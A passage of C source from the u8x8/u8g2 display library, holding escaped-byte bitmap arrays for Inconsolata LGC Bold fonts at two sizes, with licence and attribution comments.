\"\\37\\37\\37\\37\\37\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb33_3x6_n[3892] U8X8_FONT_SECTION(\"u8x8_font_inb33_3x6_n\") = \n  \" :\\3\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70>><|xxp\\360\\377\\377\\377\"\n  \"\\377\\361pxx|<<>\\70 \\0\\0\\0@\\340\\360\\370\\376\\177\\77\\17\\7\\3\\17\\37\\177\\376\\374\\370\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0xxxxxxxxx\\377\\377\\377\\377\\377xxxxxxxx\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0 \\60x~\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\360\\360\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\340\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`x\\376\\377\\177\\37\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\"\n  \"\\376\\377\\177\\37\\17\\7\\7\\7\\7\\17\\337\\377\\377\\376\\374\\360\\300\\0\\0\\0\\376\\377\\377\\377\\377\\3\\0\\0\\200\\340\\360\\370\"\n  \"~\\37\\17\\7\\1\\377\\377\\377\\377\\376\\0\\0\\7\\77\\377\\377\\377\\370\\374\\237\\17\\7\\1\\0\\0\\0\\0\\300\\370\\377\\377\\377\"\n  \"\\177\\7\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>>>>>\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\36\\36\\17\\17\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\"\n  \">\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\340\\370\\374\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\77\\37\\17\\7\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77\\77=<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\37\\377\\377\\376\\374\\370\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0xx||||\\374\\376\\377\\377\\377\\347\\303\\201\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\377\\377\\377\\377\\376\\0\\0\\0\\0\\6\\17\\17\\37\\37>>>>>>\"\n  \">>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\"\n  \"\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<\\377\\377\\377\\377\\377<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\60\\177\\177\\377\\77\\77\\36\\37\\37\\37\\37\\37\\37>\\376\\374\\374\\370\\340\\200\\0\\0\\0\\0\\200\\300\"\n  \"\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\3\\7\\17\\37\\37\\37>>><\"\n  \">>>\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\377\\77\\17\\7\\7\\7\\3\\7\\7\\7\\17\\17\\7\\2\\2\\0\\0\\0\\0\\377\\377\\377\\377\\377\\374>>\\37\\37\\17\"\n  \"\\37\\37\\77\\376\\376\\374\\370\\340\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>><>>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\363\\377\\377\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\77\\77\\77\\77\\17\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\"\n  \"\\376\\377\\377\\17\\7\\7\\7\\3\\7\\7\\17\\37\\377\\377\\377\\374\\370\\0\\0\\0\\0\\0\\1\\203\\317\\317\\377\\377\\376|xx\"\n  \"x\\370\\374\\377\\377\\317\\307\\203\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\307\\1\\0\\0\\0\\0\\0\\0\\1\\1\\207\\377\\377\\377\"\n  \"\\376\\374\\0\\0\\0\\0\\3\\7\\17\\37\\37\\37>>><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\7\\7\\7\\7\\7\\7\\37\\177\\377\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\17\\77\\177\\377\\377\\370\\360\\340\\300\\300\\300\\300\\340\\340\\360\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\201\\3\\3\\3\\3\\3\\3\\3\\3\\201\\361\\377\\377\\377\\177\\17\\0\\0\\0\\0\\4\\16\\17\\37\\37>>><>>\"\n  \">\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>\\177\\177\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376\\376\\376|\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\n#ifdef U8G2_USE_LARGE_FONTS\nconst uint8_t u8x8_font_inb46_4x8_f[57348] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_f\") = \n  \" \\377\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\370\\370\\370\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  